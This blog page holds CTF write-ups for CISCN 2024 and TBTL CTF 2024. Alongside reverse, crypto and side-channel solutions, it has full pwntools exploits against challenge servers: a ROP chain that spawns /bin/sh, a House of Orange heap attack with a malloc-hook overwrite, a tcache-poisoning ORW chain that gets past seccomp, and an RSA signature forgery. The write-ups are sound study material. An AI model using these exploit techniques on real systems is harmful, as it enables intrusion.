阅读视图

发现新文章,点击刷新页面。

第十七届全国大学生信息安全竞赛创新实践能力赛初赛 Writeup

✇BeaCox
作者 BeaCox

梦开始的比赛。去年纯小白直接参赛,结果自然是被血虐。之后开始慢慢学,今年总算是做出些题。不过难一些的 PWN 题还是做不出……( ),就多练。

Misc

火锅链观光打卡

签到题。

浏览器安装一个 MetaMask 钱包用于区块链操作。连接钱包后答题,收集任意7个不同食材图片后,点击兑换 NFT ,得到含 flag 的图片:
hotpot
得到 flag :

1
flag{y0u_ar3_hotpot_K1ng}

Power_Trajectory_Diagram

这是一道基于功耗分析的侧信道攻击题,搜索相关关键词,在看雪上找到一篇文章。根据文章内容可知,输入密码逐位比对,输入正确时和错误时功耗曲线有明显不同。

将得到的 npz 加载后打印数据,发现一共有13*40组数据,40对应着40个字符,猜测13为密码位数。打印所有功耗曲线,可以发现:
trace36
trace37
每40组曲线中,会有一组曲线的最大波动处横坐标明显右移,例如上图第37组曲线最大波动处相比于第36组以及其他1-40组的最大波动处都有一定程度右移。推测是密码错误时会出现最大波动,而第37组最大波动右移代表着当前输入的密码字符是正确的,错误发生在下一位。
使用这种方法可以找到每40组曲线中最特殊的一组,并映射为相应的字符。(除了第481组到第520组,因此认为密码只有12位)
特殊曲线到字符的映射脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
data = ['a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r',
's', 't', 'u', 'v', 'w', 'x', 'y', 'z', '0', '1', '2', '3', '4', '5', '6', '7', '8', '9',
'_', '!', '@', '#']

list = [
37,
43,
89,
139,
163,
214,
277,
309,
347,
389,
431,
477
]

password = ''
for i in range(12):
tmp = list[i] - i*40 -1
print(tmp)
password += data[tmp]

print(password)

得到结果_ciscn_2024_,因此 flag 为:

1
flag{_ciscn_2024_}

Crypto

古典密码

题目给了一个字符串AnU7NnR4NassOGp3BDJgAGonMaJayTwrBqZ3ODMoMWxgMnFdNqtdMTM9,没有说明经过何种处理。
放到 CyberChef 选择 Encrption / Encoding 逐个尝试,用 Atbash Cipher 解密后 Base64 解码,得到:

1
fa{2b838a-97ad-e9f743lgbb07-ce47-6e02804c}

根据题目的提示想到栅栏密码,将字符串对半分,然后Z形拼接就能得到 flag:

1
flag{b2bb0873-8cae-4977-a6de-0e298f0744c3}

Reverse

gdb_debug

IDA反编译,注意到程序中设置随机数种子的代码:

1
2
v3 = time(0LL);
srand(v3 & 0xF0000000);

实际上随机数种子恒为0x60000000,因此该程序中的随机数都可以确定,可以使用 ctypes 来调用 libc 库设置相应的随机数种子,获取每一次调用 rand() 返回的随机数。剩下的就是根据反编译的程序使用 z3 进行约束求解,exp 如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
from pwn import *
from z3 import *
from ctypes import *

libc = CDLL('/lib/x86_64-linux-gnu/libc.so.6')
libc.srand(0x60000000)

# Initialization
flag_len = 38
solver = Solver()

# Create a list of BitVec variables to represent the flag
flag_chars = [BitVec(f'flag_{i}', 8) for i in range(flag_len)]

# Add constraints
solver.add(flag_chars[0] == ord('f'))
solver.add(flag_chars[1] == ord('l'))
solver.add(flag_chars[2] == ord('a'))
solver.add(flag_chars[3] == ord('g'))
solver.add(flag_chars[4] == ord('{'))
solver.add(flag_chars[flag_len-1] == ord('}'))

# Step 1: XOR with rand
v28 = [BitVec(f'v28_{i}', 8) for i in range(flag_len)]
for i in range(flag_len):
random_val = libc.rand() & 0xff
solver.add(v28[i] == flag_chars[i] ^ random_val)

# Step 2: Shuffle array s
ptr = [i for i in range(flag_len)]
k = flag_len - 1
while k >= 0:
v18 = (libc.rand() % (k + 1)) & 0xff
v19 = ptr[k]
ptr[k] = ptr[v18]
ptr[v18] = v19
k -= 1

val1 = [
0xd8, 0xe0, 0x19, 0xe8, 0xcd, 0x9f, 0x6d, 0x65,
0xb8, 0x11, 0x81, 0xc8, 0x6e, 0xd0, 0xdb, 0xf8,
0x6b, 0xf9, 0x7d, 0xd2, 0xd6, 0xd5, 0x0f, 0x89,
0x1e, 0x34, 0x6a, 0xc5, 0xfd, 0xc1, 0xe9, 0x26,
0xd0, 0xba, 0xfa, 0x99, 0xe7, 0x06
]

val2 = [0x6, 0x4a, 0x5b, 0x14, 0xc4, 0x77, 0xdf, 0x63, 0xb5, 0x82, 0xe0, 0x3c, 0x4a, 0x99, 0xce, 0xf9, 0xbc, 0x52, 0x79, 0xca, 0x19, 0x3c, 0xda, 0x1f, 0x2d, 0xfe, 0x93, 0xef, 0xa3, 0x2b, 0xc4, 0x1a, 0x44, 0xd5, 0xc2, 0x4, 0xbf, 0xec]

random_vals = [0] * flag_len
for i in range(flag_len):
random_vals[i] = val1[i] ^ val2[i]

# *((_BYTE *)v31 + m) = *((_BYTE *)v28 + *((unsigned __int8 *)ptr + m));
v31 = [BitVec(f'v31_{i}', 8) for i in range(flag_len)]
for m in range(flag_len):
solver.add(v31[m] == (v28[ptr[m]] ) ^ (random_vals[m]) & 0xff)

# s1[ii] = *((_BYTE *)v31 + ii) ^ v32[ii];
v32 = [0xBF, 0xD7, 0x2E, 0xDA, 0xEE, 0xA8, 0x1A, 0x10, 0x83, 0x73, 0xAC, 0xF1, 0x06, 0xBE, 0xAD, 0x88, 0x04, 0xD7, 0x12, 0xFE, 0xB5, 0xE2, 0x61, 0xB7, 0x3D, 0x07, 0x4A, 0xE8, 0x96, 0xA2, 0x9D, 0x4D, 0xBC, 0x81, 0x8C, 0xE9, 0x88, 0x78]
s1 = [BitVec(f's1_{i}', 8) for i in range(flag_len)]
for i in range(flag_len):
solver.add(s1[i] == v31[i] ^ v32[i])

s2 = "congratulationstoyoucongratulationstoy"
for i in range(flag_len):
solver.add(s1[i] == ord(s2[i]))

if solver.check() == sat:
model = solver.model()
flag = ''.join([chr(model[flag_chars[i]].as_long()) for i in range(flag_len)])
print(f'flag: {flag}')
else:
print('unsat')

其中第三次获取38个随机数时,我使用 ctypes 得到的随机数与实际的随机数不符,因此直接在 gdb 中打印 v31 这个数组在与随机数异或前后的值,得到第三轮的38个随机数。不清楚是什么导致了这种差异,但或许这就是题目提示“动静结合”的原因?
最后得到flag:

1
flag{78bace5989660ee38f1fd980a4b4fbcd}

Pwn

gostack

一道简单的栈溢出+ROP题目,一开始被 golang 唬住了,逆向了一会儿没找到缓冲区的大小,然后直接在 gdb 中看就清楚多了。
首先checksec:

1
2
3
4
5
Arch:     amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)

有栈溢出 + 没有canary + 没有PIE + gadgets = 简单 ROP
找到要用的gadgets,构造 ROP chain ;在 gdb 中计算出缓冲区开头与返回地址的距离为0x1d0字节,加上填充就得到 payload。exp 如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
from pwn import *

context.binary = binary = ELF('./gostack')
# context.log_level = 'critical'

syscall = 0x0000000000404043
pop_rax = 0x000000000040f984
pop_rsi = 0x000000000042138a
pop_rdx = 0x00000000004944ec
pop_rdi_r14_r13_r12_rbp_rbx = 0x00000000004a18a5
read_func = 0x46178d
bss = binary.bss()

# p = binary.process()
p = remote('8.147.129.254', 29507)
# read(0, bss, 0x100)
rop_chain = flat(pop_rdi_r14_r13_r12_rbp_rbx, 0, 0, 0, 0, 0, 0, pop_rsi, bss, pop_rdx, 8, read_func)
# execve(bss, 0, 0)
rop_chain += flat(pop_rdi_r14_r13_r12_rbp_rbx, bss, 0, 0, 0, 0, 0, pop_rsi, 0, pop_rdx, 0, pop_rax, 59, syscall)
payload = b'\x00' * 0x1d0 + rop_chain
payload = payload.ljust(0x1000, b'\x00')
p.recvuntil(b'message :')
# gdb.attach(p, '''b *0x4a0a9e''')
p.sendline(payload)
p.recvuntil(b'message :')
p.sendline(b'/bin/sh\x00')
p.interactive()

syscall 但是没有 syscall ; ret ,因此我们的 ROP chain 最多只能有一次 raw syscall ,因此 read 选择使用函数地址而不是 raw syscall。get shell 之后得到 flag :

1
flag{08c559f9-81f7-4c74-a983-9eb59502de34}

orange_cat_diary

首先用 IDA 反编译程序,在程序中发现以下漏洞:

  1. heap overflow(8字节的溢出)
  2. UAF(只能使用一次,因为只能 delete 一次)
    • write after free
    • read after free

再根据题目名称的提示可以知道,可以使用 House of Orange 进行攻击(利用 heap overflow 和 read after free),泄露出 libc 地址和堆地址。由于 libc 的版本为2.23,因此最简便的方法就是劫持 __malloc_hook 。使用 pwndbg 的 find_fake_fast 命令找到用于覆盖 __malloc_hook 内容的 fast bin 地址,然后利用 write after free 劫持 fast bin ,使其返回该 chunk ,然后将__realloc_hook写为one_gadget,将__malloc_hook写为realloc,这样做更容易满足one_gadget条件。
利用代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
from pwn import *

# all protections are enabled
# heap overflow
# we can only use show and delete once

context.binary = binary = ELF('./orange_cat_diary')
libc = binary.libc
# context.log_level = 'critical'

libc_offset = 0x3c5158
malloc_hook_offset = 0x3c4b10
one_gadget_offset = 0xf1247

# p = binary.process()
p = remote('8.147.129.254', 25553)
p.recvuntil(b'Please tell me your name.\n')
p.sendline(b'BeaCox')

def menu():
p.recvuntil(b'###orange_cat_diary###')
p.recvuntil(b'Please input your choice:')

def add(size, content):
menu()
p.sendline(b'1')
p.recvuntil(b'Please input the length of the diary content:')
p.sendline(str(size).encode())
p.recvuntil(b'Please enter the diary content:\n')
p.send(content)

def show():
menu()
p.sendline(b'2')

def delete():
menu()
p.sendline(b'3')

def edit(size, content):
menu()
p.sendline(b'4')
p.recvuntil(b'Please input the length of the diary content:')
p.sendline(str(size).encode())
p.recvuntil(b'Please enter the diary content:\n')
p.send(content)

# House of Orange
add(0x400-8, b'A'*(0x400-16) + p64(0x0))
payload = b'A'*(0x400-16) + p64(0x0) + p64(0xc01)
edit(0x400, payload)
add(0x1000, b'\n')
add(0x68, b'\n')
show()
p.recv(8)
libc_leak = u64(p.recv(8))
info(f'libc_leak: {hex(libc_leak)}')
libc.address = libc_leak - libc_offset
info(f'libc_base: {hex(libc.address)}')
malloc_hook_addr = libc.symbols['__malloc_hook']
info(f'malloc_hook_addr: {hex(malloc_hook_addr)}')
fake_bin_addr = malloc_hook_addr - 0x23
heap_leak = u64(p.recv(8))
info(f'heap_leak: {hex(heap_leak)}')
one_gadget = libc.address + one_gadget_offset
info(f'one_gadget: {hex(one_gadget)}')
realloc = libc.sym['realloc']
info(f'realloc: {hex(realloc)}')

# overwrite __malloc_hook and __realloc_hook
delete()
edit(0x68, p64(fake_bin_addr) + p64(fake_bin_addr) + b'\n')
add(0x68, cyclic(0x68))
payload = b'a'*0xb + p64(one_gadget) + p64(realloc)
add(0x68, payload + b'\n')
# gdb.attach(p, '')
p.send(b'1')

p.interactive()

get shell 并得到 flag :

1
flag{2a6de11d-8a93-484d-9444-7d1046c55134}

EzHeap

我刚开始放 payload 的堆选了0x80大小,根本放不下 ROP chain ,直接导致比赛结束时没来得及将这题做完,赛后十来分钟改了个大小就打通了。

又一道堆题,但是使用 seccomp 限制了系统调用:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
$ seccomp-tools dump ./EzHeap
line CODE JT JF K
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x00 0x09 0xc000003e if (A != ARCH_X86_64) goto 0011
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x35 0x00 0x01 0x40000000 if (A < 0x40000000) goto 0005
0004: 0x15 0x00 0x06 0xffffffff if (A != 0xffffffff) goto 0011
0005: 0x15 0x04 0x00 0x00000000 if (A == read) goto 0010
0006: 0x15 0x03 0x00 0x00000001 if (A == write) goto 0010
0007: 0x15 0x02 0x00 0x00000002 if (A == open) goto 0010
0008: 0x15 0x01 0x00 0x0000000a if (A == mprotect) goto 0010
0009: 0x15 0x00 0x01 0x0000003c if (A != exit) goto 0011
0010: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0011: 0x06 0x00 0x00 0x00000000 return KILL

因此很容易想到先用 mprotect 更改页面权限,然后 orw 直接读 flag。但是我最后没有使用 mprotect ,直接在栈上构造 ROP chain 来进行 orw 。

分析程序,发现漏洞:

  1. 极大 heap overflow
  2. 输入无 0 截断可导致相邻内存泄漏

而且最多允许我们 malloc 80个堆块,因此应该有不少利用方法。我主要利用 tcache poisoning 。攻击思路如下:

  • 首先利用堆溢出和相邻内存泄露,通过程序内已经有的 unsorted bins 等堆块,泄露 libc 和 heap 地址

  • 计算 libc 中 __environ 的地址,利用 tcache poisoning 获得该地址处的堆块进行读,泄露 stack 地址

    libc 版本为2.35,因此要手动 safe link

  • 在某个堆块中写入 flag\x00 用于 orw ,搜集 gadgets 构造 ROP chain 。值得注意的是不能直接调用库函数 orw ,因为库函数的open 往往使用 openat 系统调用,会被禁止。因此我直接选择全部使用 syscall ; ret gadget ,这也是导致我 payload 巨大的原因。

  • malloc_heap 操作对应函数的 ret 处下断点,计算此时 stack 地址与泄露 stack 地址的偏移,然后再利用 tcache poisoning 获得目标地址附近(target_stack-0x8,因为要16字节对齐且不能破坏canary)的堆块进行写。payload 为 8 字节的 rbp 填充加上 ROP chain 。malloc_heap 返回时会被劫持到该 ROP chain 。

exp 如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
from pwn import *

context.binary = binary = ELF('./EzHeap')
libc = binary.libc
# context.log_level = 'critical'

libc_offset = 0x21ace0
heap_offset = 0x1040
tcache_50_offset = 0x4d0
tcache_110_offset = 0x2420
heap_flag_offset = 0x2420
stack_offset = 0x170

# p = binary.process()
p = remote('8.147.133.76', 13951)

def menu():
p.recvuntil(b'choice >> ')

def malloc_heap(size, content):
menu()
p.sendline(b'1')
p.recvuntil(b'size:')
p.sendline(str(size).encode())
p.recvuntil(b'content:')
p.send(content)

def free_heap(index):
menu()
p.sendline(b'2')
p.recvuntil(b'idx:')
p.sendline(str(index).encode())

def edit_heap(index, size, content):
menu()
p.sendline(b'3')
p.recvuntil(b'idx:')
p.sendline(str(index).encode())
p.recvuntil(b'size:')
p.sendline(str(size).encode())
p.recvuntil(b'content:')
p.send(content)

def show_heap(index):
menu()
p.sendline(b'4')
p.recvuntil(b'idx:')
p.sendline(str(index).encode())

def exit_program():
menu()
p.sendline(b'5')

def mangle(pos, ptr, page_offset=0):
return ((pos >> 12) + page_offset) ^ ptr

def demangle(ptr, page_offset=0):
pos = (ptr >> 12) + page_offset
m = pos ^ ptr
return m >> 24 ^ m

def leak_heap_libc():
global heap_leak, libc_leak
# idx 0
malloc_heap(0x40, b'A'*0x40)
edit_heap(0, 0x50, b'A'*0x50)
show_heap(0)
p.recvuntil(b'A'*0x50)
libc_leak = u64(p.recv(6).ljust(8, b'\x00'))
edit_heap(0, 0xd0, b'B'*0xd0)
show_heap(0)
p.recvuntil(b'B'*0xd0)
heap_leak = u64(p.recv(6).ljust(8, b'\x00'))
payload = b'A'*0x40 + p64(0) + p64(0xa1) + p64(libc_leak) + p64(libc_leak)
payload = payload.ljust(0xd0, b'\x00')
edit_heap(0, 0xd0, payload)

### stage1: leak libc and heap
leak_heap_libc()
info(f'[LEAK] heap_leak: {hex(heap_leak)}')
info(f'[LEAK] libc_leak: {hex(libc_leak)}')
libc.address = libc_leak - libc_offset
heap_base = heap_leak - heap_offset
info(f'[CALC] libc_base: {hex(libc.address)}')
info(f'[CALC] heap_base: {hex(heap_base)}')
environ_addr = libc.sym['__environ']
info(f'[CALC] environ_addr: {hex(environ_addr)}')

### stage2: leak stack
# idx1
malloc_heap(0x40, b'B'*0x40)
# idx2
malloc_heap(0x40, b'C'*0x40)
free_heap(2)
free_heap(1)
mangled_environ_addr = mangle(heap_base + tcache_50_offset, environ_addr - 0x40)
info(f'[CALC] mangled_environ_addr: {hex(mangled_environ_addr)}')
payload = 0x40 * b'A' + p64(0) + p64(0x51) + p64(mangled_environ_addr)
edit_heap(0, 0x58, payload)
# idx1
malloc_heap(0x40, b'B'*0x40)
# idx2(environ_addr - 0x40)
malloc_heap(0x40, b'C'*0x40)
show_heap(2)
p.recvuntil(b'C'*0x40)
stack_leak = u64(p.recv(6).ljust(8, b'\x00'))
info(f'[LEAK] stack_leak: {hex(stack_leak)}')

### stage3: overwrite stack with rop chain
# idx3
malloc_heap(0x100, b'D'*0x100)
# idx4
malloc_heap(0x100, b'E'*0x100)
# idx5
malloc_heap(0x100, b'F'*0x100)
free_heap(5)
free_heap(4)
target_stack = stack_leak - stack_offset
info(f'[CALC] target_stack: {hex(target_stack)}')
mangled_stack = mangle(heap_base + tcache_110_offset, target_stack-0x8)
info(f'[CALC] mangled_stack: {hex(mangled_stack)}')
payload = 0x100 * b'A' + p64(1) + p64(0x91) + p64(mangled_stack)
edit_heap(3, 0x118, payload)
# idx4
# gdb.attach(p)
malloc_heap(0x100, b'flag\x00'.ljust(0x100, b'\x00'))
# idx5(target_stack-0x20)
payload = p64(stack_leak)
flag_addr = heap_base + heap_flag_offset
rop = ROP(libc)
# raw orw
syscall_gadget = rop.find_gadget(['syscall', 'ret']).address
pop_rax = rop.find_gadget(['pop rax', 'ret']).address
pop_rdi = rop.find_gadget(['pop rdi', 'ret']).address
pop_rsi = rop.find_gadget(['pop rsi', 'ret']).address
# pop_rdx = rop.find_gadget(['pop rdx', 'ret']).address
pop_rdx_r12 = libc.address + 0x000000000011f2e7
# open('flag.txt', 0, 0)
payload += p64(pop_rdi) + p64(flag_addr) + p64(pop_rsi) + p64(0) + p64(pop_rdx_r12) + p64(0) + p64(0)+ p64(pop_rax) + p64(2) + p64(syscall_gadget)
# read(3, target_stack+0x100, 0x100)
payload += p64(pop_rdi) + p64(3) + p64(pop_rsi) + p64(target_stack+0x100) + p64(pop_rdx_r12) + p64(0x100) + p64(0)+ p64(pop_rax) + p64(0) + p64(syscall_gadget)
# write(1, target_stack+0x100, 0x100)
payload += p64(pop_rdi) + p64(1) + p64(pop_rsi) + p64(target_stack+0x100) + p64(pop_rdx_r12) + p64(0x100) + p64(0)+ p64(pop_rax) + p64(1) + p64(syscall_gadget)
payload += rop.chain()
payload = payload.ljust(0x100, b'\x00')
# gdb.attach(p, 'b *$rebase(0x16cd)')
malloc_heap(0x100, payload)
flag = p.recvuntil(b'}')
success(f'[FLAG] {flag.decode()}')

最后得到 flag :

1
flag{c9112d19-27e3-41ec-9957-fefb3f109229}

TBTL CTF 2024 WriteUp

✇BeaCox
作者 BeaCox

前言

在 discord 上认识了一群来自世界各地的 ctfer,不过大家都不是什么老赛棍,just ctf for fun!
有人在频道里提议参加TBTL CTF 2024,然后就组了个队。比赛时间2天,实际上没什么时间打,做了几个方向的新手友好题。不过队里有个哥们 web 方向 3/4,最后队伍排名36。

最终排名

Tower of Babel

这是一道简单的社工题。

mp3 文件里有这道题的提示:

该标志的格式如常,我们的合作伙伴云海连锁控股有限公司总部位于海南岛海口附近。找到距离他们的办事处最近的银行。标志内的内容是该银行的统一社会信用代码。代码已以91开始,以56结束。

首先搜这家公司,可以通过这个网站找到其地址,打开高德地图搜索“云海链8831栋”可以找到该公司位置,然后再搜周边——银行,可以看到最近的银行是海南澄迈农村商业银行股份有限公司科技支行。

然后我们搜索其社会信用代码,得到91469027MA5TRBAW56

因此 flag 为 TBTL{91469027MA5TRBAW56}

Wikipedia Signatures

这是一道非常简单的数字签名攻击题目。我们的目标是获取bytes_to_long(b'I challenge you to sign this message!')的数字签名。同时,我们可以提供任何消息给签名者进行数字签名,因此很容易想到这是 RSA 数字签名中的选择消息攻击

我们假设m = bytes_to_long(b'I challenge you to sign this message!') ,我们的目标是获取其数字签名:

$$ s = m^{d};mod;n$$

  • 首先,我们让签名者为任意选择的消息 m1 进行签名(这里我选用m1 = bytes_to_long(b'BeaCox')),获取对应的签名:

    $$s_1=m_{1}^{d};mod;n$$

  • 然后,我们计算

    $$m_2:=m⋅m_{1}^{−1};mod;n$$

    并让签名者为其签名,得到

    $$s_2=m_2^d;mod;n$$​

  • 由于

    $$s≡s1⋅s2≡m_1^d⋅m_2^d≡m_1^d⋅(m⋅m_1^{-1})^d≡m_1^d⋅m^d⋅m_1^{-d}≡m^d;(mod;n)$$

    我们很容易得到

    $$s=s1⋅s2;mod;n$$

利用代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
# https://crypto.stackexchange.com/questions/35644/chosen-message-attack-rsa-signature
from pwn import *
from Crypto.Util.number import inverse, bytes_to_long

p = remote('0.cloud.chals.io', 31148)

def find_m2(m, n, m1):
m1_inv = inverse(m1, n)
m2 = (m * m1_inv) % n
return m2

def get_n():
p.recvuntil(b"RSA public key: (")
n = p.recvuntil(b",", drop=True)
p.recvuntil(b'Sign any other message using wikipedia-RSA')
return int(n)

def menu():
p.recvuntil(b'> ')

def sign(message):
menu()
p.sendline(f'2 {message}'.encode())
return int(p.recvline().strip())

def win(signature):
menu()
p.sendline(f'1 {signature}'.encode())

m = bytes_to_long(b'I challenge you to sign this message!')
n = get_n()
m1 = bytes_to_long(b'BeaCox')
m2 = find_m2(m, n, m1)

s1 = sign(m1)
s2 = sign(m2)
signature = (s1 * s2) % n
win(signature)
p.interactive()
# TBTL{r3p347_4f73r_m3-d16174l_516n47ur3_15_n07_3ncryp710n}

Floo Powder

这是一道简单的逆向题。从 ida 获取静态的数组,然后根据反编译的代码写 z3 的约束,编写 python 脚本来得到正确的输入。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
# input is 31*31 bit(0 or 1) string
from pwn import *
from z3 import *

data = [
0x04CA4952, 0x69745A2A, 0x434A2A90, 0x36D0A9C7, 0x1002DAC8,
0x04933AEB, 0x71A29525, 0x6DA8D531, 0x69259680, 0x2179213C,
0x5D8A6097, 0x6ACA2822, 0x5495ED02, 0x255A2CD5, 0x16B5625A,
0x2E8A8ABA, 0x2D6F5EB4, 0x557CD952, 0x2CB4E495, 0x020D29B9,
0x0E8B2854, 0x4646C159, 0x47749281, 0x54229D46, 0x6C1CD620,
0x07F80EFF, 0x04AD46A4, 0x32EBC04E, 0x4FAC1623, 0x600E1F04,
0x24CD3000
]

# z3 init the input
input = [BitVec(f"input{i}", 1) for i in range(31*31)]
s = Solver()

def important_func(o_i, i_i, count):
# print(f"index1: {index1}, index2: {index2}")
# ( (input[31 * o_i + i_i] == 49) == (((data[count / 31] >> (31 - count % 31 - 1)) & 1) != 0) )
s.add((input[31 * o_i + i_i] == 1) == (((data[count // 31] >> (31 - count % 31 - 1)) & 1) != 0))

outside_index = 0
inside_index = 0
count = 0
v9 = 1

while (outside_index < 31 and inside_index < 31):
important_func(outside_index, inside_index, count)
count += 1
if v9 == 1:
v10 = outside_index - 1
v11 = inside_index + 1
else:
v10 = outside_index + 1
v11 = inside_index - 1

if v10 < 0 or v10 == 31 or v11 < 0 or v11 == 31:
if v9 == 1:
outside_index += inside_index == 30
inside_index += inside_index < 30
else:
inside_index += outside_index == 30
outside_index += outside_index < 30
v9 = 1 - v9
else:
outside_index = v10
inside_index = v11

flag = ""
if s.check() == sat:
m = s.model()
for i in range(31*31):
flag += str(m[input[i]])
print(flag)

我们会得到一个 31*31 的由0和1组成的矩阵:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
0000000000000000000000000000000
0111111100100011010010011111110
0100000101101100111100010000010
0101110100111001100001010111010
0101110101101010111100010111010
0101110100010110000001010111010
0100000101010011100001010000010
0111111101010101010101011111110
0000000000000100110111000000000
0111110111110110001011101010100
0001001010100010010001111111100
0101000110101111111101001100000
0100110011111000100100100110100
0001010101101010101111001011000
0000011001110110011001000101000
0111000100100011101001010111000
0111110001010100010000011110110
0100101111000111000000000110100
0101101000100011011011101110100
0100011100011101101001111011000
0101100011011001100001101010100
0100100100111000110001111101000
0000000001010110000111000101000
0111111101100011110011010100000
0100000100000110010101000100000
0101110101000101101101111111110
0101110101000000010011101110110
0101110101111100100111011100100
0100000101101001110010101000100
0111111101111000111110011111000
0000000000000000000000000000000

可以看到这个矩阵的周围一圈都是0,如果把周围这一圈0都去掉,那么就是一个29*29的矩阵。把0看成白色,1看成黑色,那么这个矩阵看起来就是一个29*29的第三代二维码,写脚本将01矩阵转换为二维码图片:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
# convert to qrcode
from PIL import Image
MAX = 31
pic = Image.new("RGB",(MAX, MAX))
i=0
for y in range (0,MAX):
for x in range (0,MAX):
if(flag[i] == '1'):
pic.putpixel([x,y],(0, 0, 0))
else:
pic.putpixel([x,y],(255,255,255))
i = i+1
pic.show()
pic.save("flag.png")
# TBTL{Wh47_D1d_H3_5aY_D34r?_D14g0nal1y...}

扫描二维码就可以获得 flag 。

Enough with the averages

这是一道利用了scanf函数特性的pwn题。

这道题允许我们输入20个4字节长的整数,然后输出这20个整数的平均值。但是存储这些整数的内存区域含有先前读取的flag。

这个程序使用20个 __isoc99_scanf("%d", &v3[i]); 来读取我们的输入。如果我们输入了一个字符,那么从此以后的scanf都会直接返回-1,导致对应内存区域的4字节为原来的值,最终导致内存泄漏。

我的想法是:首先输入19个0,然后输入一个a,就可以得到目标内存区域的第20个4字节(data[19]);然后启动另一个程序,输入18个0,然后输入一个a,就可以得到data[18]+data[19],计算可得data[18],依次类推可以得到目标区域的所有20*4个字节。然后就可以重构出flag。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
from pwn import *

context.binary = binary = ELF('./chall')
context.log_level = 'critical'

# we need record 20 int numbers
numbers = [0] * 20
sum = 0

def input(number):
p.sendlineafter(b':', number)

def recv_average():
p.recvuntil(b'Average score is ')
byte_string = p.recvline().strip()[:-1]
return float(byte_string)

for i in range(16):
# p = binary.process()
p = remote('0.cloud.chals.io', 10198)

zeros = 19 - i
print(f'zeros: {zeros}')
# input zeros times of 0
for _ in range(zeros):
input(b'0')
input(b'a')
average_score = recv_average()
print(f'average_score: {average_score}')
tmp = sum
sum = average_score * 20
numbers[zeros] = int(sum - tmp)
if numbers[zeros] < 0:
numbers[zeros] = 0x100000000 + numbers[zeros]
print(f'numbers[{zeros}]: {hex(numbers[zeros])}')
p.close()

flag = b''

for i in range(4, 20):
char1 = numbers[i] & 0xff
char2 = (numbers[i] >> 8) & 0xff
char3 = (numbers[i] >> 16) & 0xff
char4 = (numbers[i] >> 24) & 0xff
flag += bytes([char1, char2, char3, char4])

print(flag)
# TBTL{e4t_Y0ur_vegG13s_1n1714l1z3_y0ur_d4rn_v4r14bl35}

总结

Fun!!! 感谢主办方,难度梯度做得很好。

❌